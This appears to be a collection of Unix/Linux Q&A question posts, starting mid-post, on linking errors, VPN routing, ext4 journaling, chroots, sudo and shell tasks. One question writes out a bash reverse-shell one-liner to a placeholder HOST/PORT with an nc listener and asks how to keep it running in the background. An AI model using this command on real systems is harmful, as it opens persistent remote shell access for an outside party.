(0x00007fa71a842000)         libssh2.so.1 => /usr/lib64/libssh2.so.1 (0x00007fa71a617000)         libssl.so.1.0.0 => /lib64/libssl.so.1.0.0 (0x00007fa71a3b0000)         libcrypto.so.1.0.0 => /lib64/libcrypto.so.1.0.0 (0x00007fa719fc5000)         libgssapi_krb5.so.2 => /usr/lib64/libgssapi_krb5.so.2 (0x00007fa719d7e000)         liblber-2.4.so.2 => /usr/lib64/liblber-2.4.so.2 (0x00007fa719b6f000)         libldap-2.4.so.2 => /usr/lib64/libldap-2.4.so.2 (0x00007fa719923000)         libz.so.1 => /lib64/libz.so.1 (0x00007fa71970c000)         libpthread.so.0 => /lib64/libpthread.so.0 (0x00007fa7194ee000)         libc.so.6 => /lib64/libc.so.6 (0x00007fa71913f000)         libdl.so.2 => /lib64/libdl.so.2 (0x00007fa718f3a000)         libkrb5.so.3 => /usr/lib64/libkrb5.so.3 (0x00007fa718c6b000)         libk5crypto.so.3 => /usr/lib64/libk5crypto.so.3 (0x00007fa718a38000)         libcom_err.so.2 => /lib64/libcom_err.so.2 (0x00007fa718833000)         libkrb5support.so.0 => /usr/lib64/libkrb5support.so.0 (0x00007fa718626000)         libresolv.so.2 => /lib64/libresolv.so.2 (0x00007fa71840f000)         libsasl2.so.2 => /usr/lib64/libsasl2.so.2 (0x00007fa7181f1000)         /lib64/ld-linux-x86-64.so.2 (0x00007fa71ad28000)         libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007fa717fed000)         libselinux.so.1 => /lib64/libselinux.so.1 (0x00007fa717dc8000)         libpcre.so.1 => /usr/lib64/libpcre.so.1 (0x00007fa717b62000)      Looks like everything is there? What am I missing? Sidenote: synergy 1.4.12 compiles and links just fine on the same machine. Edit: I tried different versions on the same machine: versions 1.4.12 .14 and .15 compile and link fine, versions 1.4.16 onwards (4.16, 4.17, 4.18, 5.0) fail to link with the same linker error..


Only routing certain traffic through VPN

I have a central development server, running a VPN server, and a couple clients that need to connect to it. The server is running Apache, but is only accepting local requests (only listening on 127.0.0.1:80). I basically need to force each client connected to the VPN to route traffic to a certain hostname through the VPN and to the local Apache instance. For example:               Client requests google.com -> google.com     Client requests server -> vpn -> server:80      I know I can push route commands to clients when they connect to the VPN, now I just need to figure out what route to push to make that happen. At least, what is the `route` syntax/command for the client to add this route themselves?


Command Line Linux Distro for i386 and 128MB RAM

I'm looking for a command line Linux distro that runs under 128Mb of RAM and works with i386. All the distros that I've looked at so far seem to be too big, don't support that old of a processor, or are GUI OSs. I've looked at Arch Linux, Tiny Core, Gentoo, SuSE JEOS, and Slitaz. It will be mostly used for running GCC, Mono, Wine, and such.


Aggregate and group text file in bash

I have a big text file(with 5m lines) in this format(4 columns, separated by `;`): > string1; string2; string3; userId The _first 3 strings_ (SHA1s) form a single ID, called _appId_ (so it can be simlified like this: `appId; userId`). The second column (string2, or second part of _appId_ ) itself may be composed of some parts separated by comma `,`. The file is sorted. I would like to have the list of users of each app in front of it, like this: _input_ file:               app1, user1     app1, user2     app1, user3     app2, user1      _output_ file:               app1: user1, user2, user3     app2: user1      part of "real" _input_ file:               44a934ca4052b34e70f9cb03f3399c6f065becd0;bf038823f9633d25034220b9f10b68dd8c16d867;309;8ead5b3e0af5b948a6b09916bd271f18fe2678aa     44a934ca4052b34e70f9cb03f3399c6f065becd0;bf038823f9633d25034220b9f10b68dd8c16d867;309;a21245497cd0520818f8b14d6e405040f2fa8bc0     5c3eb56d91a77d6ee5217009732ff421e378f298;200000000000000001000000200000,6fd299187a5c347fe7eaab516aca72295faac2ad,e25ba62bbd53a72beb39619f309a06386dd381d035de372c85d70176c339d6f4;16;337556fc485cd094684a72ed01536030bdfae5bb     5c3eb56d91a77d6ee5217009732ff421e378f298;200000000000000001000000200000,6fd299187a5c347fe7eaab516aca72295faac2ad,e25ba62bbd53a72beb39619f309a06386dd381d035de372c85d70176c339d6f4;16;382f3aaa9a0347d3af9b35642d09421f9221ef7d     5c3eb56d91a77d6ee5217009732ff421e378f298;200000000000000001000000200000,6fd299187a5c347fe7eaab516aca72295faac2ad,e25ba62bbd53a72beb39619f309a06386dd381d035de372c85d70176c339d6f4;16;396529e08c6f8a98a327ee28c38baaf5e7846d14      The "real" _output_ file should look like this:               44a934ca4052b34e70f9cb03f3399c6f065becd0;bf038823f9633d25034220b9f10b68dd8c16d867;309:8ead5b3e0af5b948a6b09916bd271f18fe2678aa, a21245497cd0520818f8b14d6e405040f2fa8bc0     5c3eb56d91a77d6ee5217009732ff421e378f298;200000000000000001000000200000,6fd299187a5c347fe7eaab516aca72295faac2ad,e25ba62bbd53a72beb39619f309a06386dd381d035de372c85d70176c339d6f4;16:337556fc485cd094684a72ed01536030bdfae5bb, 382f3aaa9a0347d3af9b35642d09421f9221ef7d, 396529e08c6f8a98a327ee28c38baaf5e7846d14      How can I do this? * * * **Edit:** Also, there can be thousands of users per app, so how long can a line be? Is there any limitation for line length?


Running 'bash -i >& /dev/tcp/HOST/PORT 0>&1' in the background

I want to run `bash -i >& /dev/tcp/HOST/PORT 0>&1` in the background at server1. I want to listen to the connection and send commands back at `HOST/PORT`. So, tcpdump isn't sufficient for that. I tried to run it in the background with: `bash -i >& /dev/tcp/HOST/PORT 0>&1 &` and `nohup bash -i >& /dev/tcp/HOST/PORT 0>&1 & disown` But the above commands do not seem to work. I also tried, `bg bash -i >& /dev/tcp/HOST/PORT 0>&1` It also is not working. Both don't allow me to connect to server1 properly when using `nc -l -vv -p PORT`. It does work when I just run `bash -i >& /dev/tcp/HOST/PORT 0>&1`, but that will close this specific connection when I disconnect the SSH connection and it also does not allow me to enter new commands after this command.


ext4 filesystems frequently corrupting

We have occasional power outages in our environment which seems to cause data corruption on our Ubuntu machines with ext4 filesystems. To my understanding ext4's default is to use `data=ordered` Which is described as "All data are forced directly out to the main file system prior to its metadata being committed to the journal." Does this mean that if there is a power outage, and the operation to write to disk is interrupted that there can be filesystem corruption? If I want to completely eliminate filesystem corruption due to power outages I'd guess I would use `data=journaled`, are there any negative impacts to this other than a performance hit? Bonus: How do I change the journaling type on my filesystem from `data=ordered` to another. I'm guessing I'd need to make modifications to the journal but I'm not quite sure how or in what order to perform these operations. It's just getting really annoying that Ubuntu (initramfs) doesnt have any filesystem recovery utilities so any way we can get to prevent us from having to pop in a live cd is great. My /etc/fstab               # /etc/fstab: static file system information.     #     # Use 'blkid -o value -s UUID' to print the universally unique identifier     # for a device; this may be used with UUID= as a more robust way to name     # devices that works even if disks are added and removed. See fstab(5).     #     #                     proc            /proc           proc    defaults        0       0     # / was on /dev/sda1 during installation     UUID=9cd71f51-53bb-44c7-affa-14293e59d596 /               ext4    errors=remount-ro 0       1     # swap was on /dev/sda5 during installation     UUID=5568cee1-a50b-4409-ad67-cdc5bfb592a3 none            swap    sw              0       0     /dev/scd0       /media/cdrom0   udf,iso9660 user,noauto,exec,utf8 0       0      OS version               -bash-4.0# uname -a     Linux LG-F3-19 2.6.31-14-server #48-Ubuntu SMP Fri Oct 16 15:07:34 UTC 2009 x86_64 GNU/Linux     -bash-4.0# lsb_release -a     No LSB modules are available.     Distributor ID: Ubuntu     Description:    Ubuntu 9.10     Release:        9.10     Codename:       karmic      Image of failure: http://imgur.com/odo4iBY References: https://www.kernel.org/doc/Documentation/filesystems/ext4.txt http://www.ibm.com/developerworks/library/l-journaling-filesystems/


How can I force chrooted programs to use a virtual ethernet device?

First off, this is **not** for security reasons, or for use in a production environment. It's because I want to mess around with different configuration management systems on relatively low-spec workstation, without using VMs (time and resource overhead) or LXC (version requirements and unneeded complexity). Chroots are relatively insecure, but they're also quick and painless to set up. Anyway: given a chroot environment and a virtual ethernet interface (eth0:1 or such), how can I make sure that programs in the chroot always use the virtual interface? Note that I don't need true network isolation, where the real interface can't be seen inside the chroot. I just want chrooted programs to answer to a different IP address than the host (or other chroots), so I can use server/client setups properly with e.g. Puppet. The host is running Debian Wheezy x64. Perhaps I am approaching this the wrong way. What I want is to have several chroots and be able to access each by hostname from the host system. Is that possible?


How can I use wget to create a list of URLs from an index.html?

So `wget` has an ability to recursively download files, however it does it one file at a time. I would like to pass in a directory URL, and for each URL it encounters in the recursion for it to spawn off a downloading process. One way I was thinking to do this is to somehow use `wget` to print out the URLs it encounters, and then feeding those URLs into separate instances of `wget` (via `wget URL_1 &`, `wget URL_2 &` etc). Any ideas?


Application fails if not in its directory?

I'm trying to run DeaDBeeF, a music player. It works fine if I'm in its directory, but if I'm anywhere else, it tells me that it "failed to find output plugin". Is there any way to get it to look in its own directory instead of my present working directory?


How to run this in sudo?

I have this line that I execute from php `sudo -u db2inst1 -s -- "/opt/ibm/db2/current/bin/db2 connect to PLC; /opt/ibm/db2/current/bin/db2 \"update EDU.contact set MOBILE_PHONE = '123'\""` it works fine on Sudo version **1.7.2**. Now I got new server with `SUSE Linux Enterprise Server 11 (x86_64)`. There was no sudo so I installed it from repository (Sudo version **1.6.9p17** ) But know the above syntax doesn't work. It throws `bin/bash: /opt/ibm/db2/current/bin/db2 connect to PLC; /opt/ibm/db2/current/bin/db2 "update EDU.contact set MOBILE_PHONE = '123'": No such file or directory` Any idea how I can make this work? If I run `/opt/ibm/db2/current/bin/db2 connect to PLC; /opt/ibm/db2/current/bin/db2 "update EDU.contact set MOBILE_PHONE = '123'"` under db2inst1 account everythings work just fine.


Proper way to join multi-volume tarballs?

So how should this be done? I have learned that using `cat` is the preferred way when using `split` to create multi-volume files, but what about when using `tar`'s own native multi-volume function? Thanks


Download the Complete Linux Kernel Collection

I am wanting to download EVERY version of the Linux kernel as source code, Debian files, and RPM files. Where can I find a single site where I can download them all at once? If that is not possible, I know I can get the source code for every kernel here (https://www.kernel.org/pub/linux/kernel/), but I need the .deb and .rpm files as well.


copying device nodes

I'm trying to transfer a working Linux installation to a new larger disk, so I've attached the new disk on a USB port, partitioned it and created filesystems. While copying all the files over I hit a snag on the /dev directory. "cp -a" does most of the job, but fails on e.g. /dev/video0 with "Operation not supported".               >ls -l /dev/video0    # on disk I copy from     crw-rw----+ 1 root video 81, 0 2011-09-25 17:15 video0          >ls -l dev/video0    # on disk copied to     crw-rw---- 1 root video 81, 0 2011-09-25 17:15 video0      So it seems everything was copied except for the "+" at the end of the access- rights field. What does that plus-sign mean and how can I create it on the destination disk?


A command to check file access permission for another user

I need to know how to check the effective file access permissions for a given user, but it takes long to do this manually starting from `/` up to the target file or directory, checking group, ...etc.


Change (reduce) Gnome 3 horizontal icon padding in notification area (Debian Wheezy)

I'm using Gnome 3.4 **classic mode** on Debian Wheezy. In the notification area, I would like to know **how to change (reduce) the horizontal spacing (or padding) of the icons**. By default, the icons are _very far from each other_ , so I'm wasting much space on this bar. ![Adwaita theme - bad spacing](http://i.stack.imgur.com/nYvR1.jpg) I'm using the default theme "Adwaita", but please note that when I change this to the "HighContrast" (or "HighContrastInverse") theme, the icons _get close to each other_ , which is what I want to achieve (but on the default theme): ![HighContrastInverse theme - good spacing](http://i.stack.imgur.com/nRHWf.jpg) I have been searching on the web and modifying a few .css files without success...


omap3530/3630 emulation on QEMU for overo and beagle machines

On QEMU's source code for beagle and overo I can see that the cpu emulated is the OMAP3430. I will like to know if it's a way to make QEMU emulate OMAP3530/3630 cpu's for those machines? On bealge :               s->cpu = omap3_mpu_init(sysmem, cpu_model, ram_size,                                                  serial_hds[0], serial_hds[1], serial_hds[2], serial_hds[3]);      How do I have to set cpu_model? On overo:               s->cpu = omap3_mpu_init(sysmem, omap3630, args->ram_size,                                 serial_hds[0], serial_hds[1], serial_hds[2], serial_hds[3]);      I changed omap3430 for omap3630 but I'm not sure that this will work. I'm using QEMU 1.4.0 Ubuntu's 13.04 distribution. I guess that all the applicable patches for beagle and overo machines are included on that distribution. For what I have seen while looking in google about beagle and overo patches, I think that the patches are there.


How to enter Erlang Mode in Emacs?

How do I enter erlang mode in emacs to get code highlighting, etc.? Whenever I open an erlang file nothing special happens. Do I need to change something in my `.emacs` file, or do I need to add a module to emacs, or something else?


Custom resolution in Fedora 11

I am currently building a custom embedded project for which I need to display Fedora 11 on a small screen 800*480 pixels. Can anyone one suggest to me a way of doing it. As I am a complete noob I tried to change the `.conf` file of xorg server but it is of no help. Also it is not updating. Also can anyone tell how to update the packages as currently package updating is not working.


What's the best way to count the number of files in a directory?

If parsing the output of `ls` is dangerous because it can break on some funky characters (spaces, `\n`, ... ), what's the best way to know the number of files in a directory? I usualy rely on `find` to avoid this parsing, but similarly, `find mydir | wc -l` will break for the same reasons. I'm working on Solaris right now, but I'm looking for a answer as portable across different unices and different shells as possible.